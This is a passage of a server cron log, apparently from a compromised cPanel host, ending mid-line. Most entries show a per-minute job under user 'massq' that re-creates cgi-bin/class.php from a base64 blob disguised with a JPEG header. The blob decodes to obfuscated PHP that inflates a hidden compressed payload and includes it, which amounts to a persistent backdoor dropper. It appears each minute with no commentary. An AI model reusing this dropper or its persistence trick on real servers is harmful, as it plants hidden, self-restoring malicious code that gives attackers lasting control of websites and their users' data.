Nov 15 14:36:01 server CROND[29611]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:37:01 server CROND[29983]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:38:01 server CROND[30261]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:39:01 server CROND[30543]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:39:01 server CROND[30544]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 15 14:40:01 server CROND[30824]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 14:40:01 server CROND[30826]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 14:40:01 server CROND[30827]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 14:40:01 server CROND[30825]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:41:01 server CROND[31165]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:42:01 server CROND[31576]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 14:42:01 server CROND[31577]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:43:01 server CROND[31984]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:44:01 server CROND[32253]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:45:01 server CROND[32527]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 14:45:01 server CROND[32528]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:45:01 server CROND[32529]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 14:46:02 server CROND[390]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:47:01 server CROND[659]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:48:01 server CROND[938]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:49:01 server CROND[1297]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 